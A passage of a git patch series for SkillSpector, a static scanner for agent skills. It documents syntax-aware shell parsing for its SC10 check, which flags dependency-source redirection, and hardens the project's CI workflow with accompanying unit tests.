extension](docs/PI_EXTENSION.md)** — Install SkillSpector as a Pi tool for scanning skills from inside agent sessions. ## Features diff --git a/docs/DEPENDENCY_SOURCE_REDIRECTION.md b/docs/DEPENDENCY_SOURCE_REDIRECTION.md index bc52379b..cbb8707f 100644 --- a/docs/DEPENDENCY_SOURCE_REDIRECTION.md +++ b/docs/DEPENDENCY_SOURCE_REDIRECTION.md @@ -1,9 +1,9 @@ # Dependency Source Redirection (SC10) -SC10 reports a deterministic `HIGH` finding when a supported direct configuration file changes -dependency resolution away from that ecosystem's built-in canonical default. The analysis is -local, static-only, and advisory: it reports evidence for review but does not decide whether a -skill should be installed. +SC10 reports a deterministic `HIGH` finding when a supported direct configuration or +syntax-proven executable surface changes dependency resolution away from that ecosystem's built-in +canonical default. The analysis is local, static-only, and advisory: it reports evidence for review +by a human. ## Direct configuration coverage @@ -55,25 +55,88 @@ Direct parser limits are shared across the scan where applicable: | Retained literal bytes | 2,000,000 | | Emitted source changes | 10,000 | -## Executable and generated configuration boundary +## Syntax-aware executable coverage + +SC10 parses canonical raw bytes from these executable units: + +- standalone `.sh` and `.bash` files and files with a `bash`, `sh`, or `dash` shebang; +- `bash`, `sh`, `shell-script`, and `console` fenced blocks in `README` Markdown files and + `SKILL.md`; and +- statically literal `bash`/`sh`/`dash` `-c` or `-lc` programs and one-literal-operand `eval` + programs reached from a supported unit. + +Parsing uses `tree-sitter==0.25.2` with `tree-sitter-bash==0.25.1`. Each unit is parsed from +immutable bytes through a bounded callable reader. The syntax frontend extracts commands from +lists, conditionals, loops, `case` statements, groups, subshells, pipelines, functions, and +command/process substitutions. It models only bounded literal assignments, exports, command-local +prefix assignments, and conservative control-flow joins. Tree-sitter supplies syntax, not +execution semantics: SC10 does not run shell, expand the host environment, or fall back to a regex, +raw-text, `shlex`, or custom shell parser. + +Fixed command adapters recognize these dependency-source sinks: + +| Ecosystem | Supported executable forms | +|---|---| +| npm, Yarn, pnpm | Registry/scoped-registry configuration changes and per-invocation registry options | +| pip | `config` index changes and per-invocation index options, including versioned `pip` and `python -m pip` | +| Poetry | Source add and repository configuration forms | +| Cargo | Literal `--config registries..index=...` overrides | +| uv | Index add, per-invocation index options, and named index values | +| Maven | One literal, unique, bundle-local `-s`/`--settings` reference, parsed with the direct Maven settings parser | + +Path-qualified manager names and fixed transparent forms of `env`, `sudo`, `command`, `exec`, +`nohup`, `nice`, `timeout`, `setsid`, and `stdbuf` are supported. `corepack` and `npx` are supported +only when they name a literal recognized downstream manager. Named source environment variables for +the ecosystems above are findings only when an `export` or command-local assignment is proven to +reach the matching manager; a plain persistent shell assignment is state, not an environment +observation. + +## Generated configuration + +A completed heredoc or here-string can be parsed as generated direct configuration only when its +effective standard input and final standard-output write are structurally proven. Supported writes +use `>`, `>|`, or `>>` to a recognized direct-configuration path, or the fixed literal-output +`tee` form. Unquoted heredoc expansion is limited to modeled literal bindings and preserves a map +back to physical script bytes. A literal Maven settings reference may resolve one uniquely named +bundle-local XML file even when that file has a nonstandard basename. + +Dynamic structure, an ambiguous target or wrapper, unsupported option arity, function shadowing, +malformed syntax, data piped into a shell, `xargs`, command-wrapper `env -S`, a heredoc piped to a +downstream writer, unsupported file-descriptor behavior, or an unproven generated-file write +produces a localized `dependency_source_parse_incomplete` limitation rather than a guessed finding +or clean result. +Dockerfile `RUN`, Make recipes, `.zsh`, `.ksh`, `.envrc`, unsupported shebangs, executable-only files +without a supported dialect, indented Markdown code, and shell fences outside `README`/`SKILL.md` +remain explicit `unscanned_executable_content` coverage limitations when recognized. + +Shell analysis shares the direct-parser and output budgets and adds these ceilings: -This implementation does not parse commands or generated configuration. It structurally -recognizes executable shell files, executable inventory entries, Dockerfiles containing `RUN`, -Make recipes, and shell-like Markdown fences only to report their affected ranges as -`unscanned_executable_content`. Those ranges are incomplete coverage pending the syntax-aware -parser follow-up; their contents do not produce SC10 findings in this implementation. - -The coverage notice does not guess whether a dependency-source command is present. It prevents a -recognized executable surface from being represented as fully analyzed and can raise an otherwise -`SAFE` report to `CAUTION` through the existing completeness policy. It does not change risk -scoring or recommendation policy. +| Resource | Limit | +|---|---:| +| Shell units per file | 256 | +| Parser calls per file | 512 | +| Parsed-byte revisits per file | 2 times the file size | +| Parsed shell bytes across the scan | 6,000,000 | +| CST visits per unit | 12 times unit bytes plus 1,024 | +| Nested literal-program depth | 2 | +| Retained shell IR across the scan | 50,000 | +| Source-map entries per file | 50,000 | +| Retained shell value bytes per file | 2,000,000 | +| Localized shell issues across the scan | 10,000 | + +Parser cancellation, parser unavailability, or resource exhaustion is reported as localized +partial or failed work. It never silently converts an applicable unit into complete coverage. The +parser packages are required runtime dependencies; installation therefore requires compatible +distributions for the target Python and platform, and an ABI or semantic-version mismatch is +treated as parser unavailability. ## Security and product boundary SC10 does not execute project content, commands, package managers, or generated files. It makes no network, DNS, or reputation requests; maintains no user-managed allow/block/trust lists; and adds -no telemetry, service, or worker. Optional provider analysis may add presentation context, but it -cannot suppress or downgrade the deterministic SC10 evidence. +no telemetry, service, or worker. It is not a general shell interpreter. Optional provider analysis +may add presentation context, but it cannot suppress, downgrade, rewrite, or remove deterministic +SC10 evidence. -The result remains advisory. A `HIGH` finding or incomplete-coverage notice is evidence for the -user's review, not an installation decision or certification. +The result remains advisory. A `HIGH` finding or incomplete-coverage notice is evidence for human +review. From 4604c693352b253bab4b6103a57ba4d38f371d1f Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Wed, 26 Aug 2026 14:48:39 -0700 Subject: [PATCH 12/13] ci: support stacked pull request checks Signed-off-by: Nir Paz --- .github/workflows/ci.yml | 32 +++++++++++++++-- tests/unit/test_ci_workflow.py | 63 ++++++++++++++++++++++++++++++++++ 2 files changed, 92 insertions(+), 3 deletions(-) create mode 100644 tests/unit/test_ci_workflow.py diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index efb96665..10feffb0 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -17,9 +17,14 @@ name: CI on: pull_request: - branches: ["main"] push: branches: ["main"] + workflow_dispatch: + inputs: + change_base_sha: + description: "Full base commit SHA for change detection" + required: true + type: string # Least privilege: these jobs only read the repo; no write scopes are needed. permissions: @@ -44,12 +49,19 @@ jobs: steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 with: + ref: ${{ github.event_name == 'pull_request' && github.event.pull_request.head.sha || github.sha }} + persist-credentials: false fetch-depth: 0 - id: filter env: - BASE_SHA: ${{ github.event.pull_request.base.sha || github.event.before }} - HEAD_SHA: ${{ github.event.pull_request.head.sha || github.sha }} + BASE_SHA: ${{ github.event_name == 'pull_request' && github.event.pull_request.base.sha || github.event_name == 'workflow_dispatch' && inputs.change_base_sha || github.event.before }} + HEAD_SHA: ${{ github.event_name == 'pull_request' && github.event.pull_request.head.sha || github.sha }} run: | + if [[ ! "$BASE_SHA" =~ ^[0-9a-f]{40}$ ]] || \ + ! git cat-file -e "${BASE_SHA}^{commit}" 2>/dev/null; then + echo "::error::Change base must be an available full commit SHA." + exit 1 + fi if git diff --quiet "$BASE_SHA" "$HEAD_SHA" -- \ .dockerignore .github/workflows/ci.yml .gitlab-ci.yml Dockerfile \ Makefile pyproject.toml uv.lock src tests/docker tests/fixtures/safe_skill; then @@ -62,6 +74,9 @@ jobs: runs-on: ubuntu-latest steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + ref: ${{ github.event_name == 'pull_request' && github.event.pull_request.head.sha || github.sha }} + persist-credentials: false - name: Set up uv # Pinned to a full commit SHA (third-party action); comment tracks the tag. uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5 @@ -78,6 +93,9 @@ jobs: runs-on: ubuntu-latest steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + ref: ${{ github.event_name == 'pull_request' && github.event.pull_request.head.sha || github.sha }} + persist-credentials: false - name: Set up uv # Pinned to a full commit SHA (third-party action); comment tracks the tag. uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5 @@ -117,6 +135,9 @@ jobs: python-version: "3.14" steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + ref: ${{ github.event_name == 'pull_request' && github.event.pull_request.head.sha || github.sha }} + persist-credentials: false - name: Set up uv # Pinned to a full commit SHA (third-party action); comment tracks the tag. uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5 @@ -145,6 +166,9 @@ jobs: runs-on: ubuntu-latest steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + ref: ${{ github.event_name == 'pull_request' && github.event.pull_request.head.sha || github.sha }} + persist-credentials: false - run: docker version - run: docker info - run: docker build -t skillspector . @@ -165,6 +189,8 @@ jobs: steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 with: + ref: ${{ github.event_name == 'pull_request' && github.event.pull_request.head.sha || github.sha }} + persist-credentials: false fetch-depth: 0 - name: Verify DCO sign-off on all commits diff --git a/tests/unit/test_ci_workflow.py b/tests/unit/test_ci_workflow.py new file mode 100644 index 00000000..fd672883 --- /dev/null +++ b/tests/unit/test_ci_workflow.py @@ -0,0 +1,63 @@ +# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Contract coverage for pull-request and manual CI checkout selection.""" + +from __future__ import annotations + +from pathlib import Path + +REPO_ROOT = Path(__file__).resolve().parents[2] +WORKFLOW = REPO_ROOT / ".github" / "workflows" / "ci.yml" +CHECKOUT_ACTION = "actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2" +CHECKOUT_REF = ( + "ref: ${{ github.event_name == 'pull_request' " + "&& github.event.pull_request.head.sha || github.sha }}" +) +BASE_SHA_EXPRESSION = ( + "BASE_SHA: ${{ github.event_name == 'pull_request' " + "&& github.event.pull_request.base.sha || github.event_name == 'workflow_dispatch' " + "&& inputs.change_base_sha || github.event.before }}" +) +HEAD_SHA_EXPRESSION = ( + "HEAD_SHA: ${{ github.event_name == 'pull_request' " + "&& github.event.pull_request.head.sha || github.sha }}" +) + + +def test_ci_accepts_pull_requests_to_any_base_and_requires_a_manual_change_base() -> None: + """A stacked PR starts CI without naming its temporary base branch.""" + workflow = WORKFLOW.read_text(encoding="utf-8") + triggers = workflow.split("# Least privilege:", maxsplit=1)[0] + + assert " pull_request:\n" in triggers + assert " pull_request:\n branches:" not in triggers + assert ' push:\n branches: ["main"]' in triggers + assert " workflow_dispatch:\n" in triggers + assert " change_base_sha:\n" in triggers + assert ' description: "Full base commit SHA for change detection"' in triggers + assert " required: true" in triggers + assert " type: string" in triggers + assert "pull_request_target" not in workflow + + +def test_every_ci_checkout_uses_the_immutable_event_head_without_credentials() -> None: + """No job executes PR content from a merge ref or with persisted Git credentials.""" + workflow = WORKFLOW.read_text(encoding="utf-8") + checkout_count = workflow.count(CHECKOUT_ACTION) + + assert checkout_count == 6 + assert workflow.count(CHECKOUT_REF) == checkout_count + assert workflow.count("persist-credentials: false") == checkout_count + assert workflow.count("fetch-depth: 0") == 2 + + +def test_change_filter_selects_and_validates_each_event_base() -> None: + """Manual CI rejects an absent or non-commit base instead of silently running Docker.""" + workflow = WORKFLOW.read_text(encoding="utf-8") + + assert BASE_SHA_EXPRESSION in workflow + assert HEAD_SHA_EXPRESSION in workflow + assert '[[ ! "$BASE_SHA" =~ ^[0-9a-f]{40}$ ]]' in workflow + assert 'git cat-file -e "${BASE_SHA}^{commit}"' in workflow + assert 'echo "$BASE_SHA"' not in workflow From 8ab4fa05ffd7b43e05407ad456369b908057308e Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Wed, 26 Aug 2026 15:21:02 -0700 Subject: [PATCH 13/13] fix(ci): load installed parser runtime in wheel smoke Signed-off-by: Nir Paz --- .github/workflows/ci.yml | 10 ++++++---- tests/unit/test_ci_workflow.py | 14 ++++++++++++++ 2 files changed, 20 insertions(+), 4 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 10feffb0..eddb1e3f 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -150,14 +150,16 @@ jobs: run: >- uv pip install --python .parser-smoke-venv --only-binary=:all: tree-sitter==0.25.2 tree-sitter-bash==0.25.1 + - name: Install SkillSpector runtime + run: uv pip install --python .parser-smoke-venv . - name: Smoke production parser loader run: >- uv run --no-project --python .parser-smoke-venv python -c - "import runpy, time; - frontend = runpy.run_path('src/skillspector/shell_frontend.py'); - tree = frontend['parse_bash_source']( + "import time; + from skillspector.shell_frontend import load_bash_language, parse_bash_source; + tree = parse_bash_source( b'printf ok\\n', deadline_monotonic=time.monotonic() + 5.0); - assert frontend['load_bash_language']().abi_version == 15; + assert load_bash_language().abi_version == 15; assert tree.root_node.type == 'program'" docker-smoke: diff --git a/tests/unit/test_ci_workflow.py b/tests/unit/test_ci_workflow.py index fd672883..f9ba8e16 100644 --- a/tests/unit/test_ci_workflow.py +++ b/tests/unit/test_ci_workflow.py @@ -61,3 +61,17 @@ def test_change_filter_selects_and_validates_each_event_base() -> None: assert '[[ ! "$BASE_SHA" =~ ^[0-9a-f]{40}$ ]]' in workflow assert 'git cat-file -e "${BASE_SHA}^{commit}"' in workflow assert 'echo "$BASE_SHA"' not in workflow + + +def test_parser_wheel_smoke_installs_runtime_before_importing_production_loader() -> None: + """The clean wheel environment can import the production parser module.""" + workflow = WORKFLOW.read_text(encoding="utf-8") + + wheel_install = workflow.index("- name: Install exact parser wheels only") + runtime_install = workflow.index("- name: Install SkillSpector runtime") + loader_smoke = workflow.index("- name: Smoke production parser loader") + + assert wheel_install < runtime_install < loader_smoke + assert "uv pip install --python .parser-smoke-venv ." in workflow + assert "from skillspector.shell_frontend import" in workflow + assert "runpy.run_path('src/skillspector/shell_frontend.py')" not in workflow